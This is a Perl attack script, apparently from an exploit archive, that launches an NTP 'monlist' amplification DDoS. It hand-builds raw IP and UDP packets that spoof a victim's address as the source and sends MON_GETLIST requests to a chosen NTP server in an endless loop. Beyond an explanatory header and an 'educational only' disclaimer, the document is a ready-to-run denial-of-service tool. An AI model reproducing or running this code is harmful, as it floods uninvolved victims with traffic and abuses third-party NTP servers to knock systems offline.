ntpd MON_GETLIST Query Amplification by Todor Donev

#!/usr/bin/perl
#
#  ntp MON_GETLIST query amplification ddos
#
#  Copyright 2015 (c) Todor Donev
#  todor.donev@gmail.com
#  http://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#
#  A Network Time Protocol (NTP) Amplification
#  attack is an emerging form of Distributed
#  Denial of Service (DDoS) that relies on the
#  use of publically accessible NTP servers to
#  overwhelm a victim system with UDP traffic.
#  The NTP service supports a monitoring service
#  that allows administrators to query the server
#  for traffic counts of connected clients. This
#  information is provided via the “monlist”
#  command. The basic attack technique consists
#  of an attacker sending a "get monlist" request
#  to a vulnerable NTP server, with the source
#  address spoofed to be the victim’s address.
#
#
#  Disclaimer:
#  This or previous program is for Educational
#  purpose ONLY. Do not use it without permission.
#  The usual disclaimer applies, especially the
#  fact that Todor Donev is not liable for any
#  damages caused by direct or indirect use of the
#  information or functionality provided by these
#  programs. The author or any Internet provider
#  bears NO responsibility for content or misuse
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact
#  that any damage (dataloss, system crash,
#  system compromise, etc.) caused by the use
#  of these programs is not Todor Donev's
#  responsibility.
#
#  Use at your own risk and educational
#  purpose ONLY!
#
#  See also, UDP-based Amplification Attacks:
#  https://www.us-cert.gov/ncas/alerts/TA14-017A
#
#

use Socket;

if ( $< != 0 ) {
   print "Sorry, must be run as root!\n";
   print "This script use RAW Socket.\n";
   exit;
}

my $ntpd            = (gethostbyname($ARGV[0]))[4];         # IP Address Destination        (32 bits)
my $victim          = (gethostbyname($ARGV[1]))[4];         # IP Address Source             (32 bits)

print "[ ntpd MON_GETLIST query amplification ]\n";
if (!defined $ntpd || !defined $victim) {
    print "[ Usg: $0 <ntp server> <victim>\n";
    print "[ <todor.donev\@gmail.com>  Todor Donev ]\n";
    exit;
}
print "[ Sending NTP packets: $ARGV[0] -> $ARGV[1]\n";
socket(RAW, PF_INET, SOCK_RAW, 255) or die $!;
setsockopt(RAW, 0, 1, 1) or die $!;
main();

    # Main program
sub main {
    my $packet;

    $packet = iphdr();
    $packet .= udphdr();
    $packet .= ntphdr();
    # b000000m...
    send_packet($packet);
}

    # IP header (Layer 3)
sub iphdr {
    my $ip_ver           = 4;          # IP Version 4      (4 bits)
    my $iphdr_len        = 5;          # IP Header Length    (4 bits)
    my $ip_tos           = 0;          # Differentiated Services  (8 bits)
    my $ip_total_len     = $iphdr_len + 20;      # IP Header Length + Data  (16 bits)
    my $ip_frag_id       = 0;          # Identification Field    (16 bits)
    my $ip_frag_flag     = 000;          # IP Frag Flags (R DF MF)  (3 bits)
    my $ip_frag_offset   = 0000000000000;      # IP Fragment Offset    (13 bits)
    my $ip_ttl           = 255;          # IP TTL      (8 bits)
    my $ip_proto         = 17;          # IP Protocol      (8 bits)
    my $ip_checksum      = 0;          # IP Checksum      (16 bits)

    # IP Packet
  my $iphdr  = pack(
      'H2 H2 n n B16 h2 c n a4 a4',
      $ip_ver . $iphdr_len, $ip_tos,
      $ip_total_len, $ip_frag_id,
      $ip_frag_flag . $ip_frag_offset,
      $ip_ttl, $ip_proto, $ip_checksum,
      $victim, $ntpd
      );
      return $iphdr;
}

    # UDP Header (Layer 4)
sub udphdr {
    my $udp_src_port  = 31337;      # UDP Sort Port    (16 bits) (0-65535)
    my $udp_dst_port  = 123;        # UDP Dest Port    (16 btis) (0-65535)
    my $udp_len    = 8 + length(ntphdr());    # UDP Length    (16 bits) (0-65535)
    my $udp_checksum   = 0;        # UDP Checksum    (16 bits) (XOR of header)

    # UDP Packet
    my $udphdr    = pack(
      'n n n n',
      $udp_src_port,
      $udp_dst_port,
      $udp_len,
      $udp_checksum
      );
  return $udphdr;
}

    # NTP Header (Layer 7)
sub ntphdr {
    my $rm_vn_mode  = 0x27;

     # Response bit to 0, More bit to 0, Version field to 2, Mode field to 7
     #
     # A mode 7 packet is used exchanging data between an NTP server
     # and a client for purposes other than time synchronization, e.g.
     # monitoring, statistics gathering and configuration.  A mode 7
     # packet has the following format:
     #
     #    0                    1                   2                   3
     #    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
     #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     #   |R|M| VN  | Mode|A|  Sequence   | Implementation|   Req Code    |
     #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     #   |  Err  | Number of data items  |  MBZ  |   Size of data item   |
     #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     #   |                                                               |
     #   |            Data (Minimum 0 octets, maximum 500 octets)        |
     #   |                                                               |
     #   |                           [...]                               |
     #   |                                                               |
     #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     #   |               Encryption Keyid (when A bit set)               |
     #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     #   |                                                               |
     #   |          Message Authentication Code (when A bit set)         |
     #   |                                                               |
     #   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     #
     # where the fields are (note that the client sends requests, the server
     # responses):
     # Response Bit:  This packet is a response (if clear, packet is a request).
     # More Bit:  Set for all packets but the last in a response which
     #    requires more than one packet.
     # Version Number: 2 for current version
     # Mode:  Always 7
    my $auth    = 0x00;        # If set, this packet is authenticated.

    my $implementation  = 0x03;        # Iimplementation: 0x00 (UNIV), 0x02 (XNTPD_OLD), 0x03 (XNTPD)
              # The number of the implementation this request code
              # is defined by.  An implementation number of zero is used
              # for requst codes/data formats which all implementations
              # agree on.  Implementation number 255 is reserved (for
              # extensions, in case we run out).

    my $request    = 0x2a;        # Request code is an implementation-specific code which specifies the
              # operation to be (which has been) performed and/or the
              # format and semantics of the data included in the packet
              # 0x02 (PEER_INFO), 0x03 (PEER_STATS), 0x04 (SYS_INFO),
              # 0x04 (SYS_STATS), 0x2a (MON_GETLIST)
    # NTP packet
    my $ntphdr    = pack(
                        'W2 C2 C2 C2',
      $rm_vn_mode,
                        $auth,
      $implementation,
      $request
      );
return $ntphdr;
}

sub send_packet {
    while(1){
    select(undef, undef, undef, 0.30);      # Sleep 300 milliseconds
    send(RAW, $_[0], 0, pack('Sna4x8', AF_INET, 60, $ntpd)) or die $!;
   }
}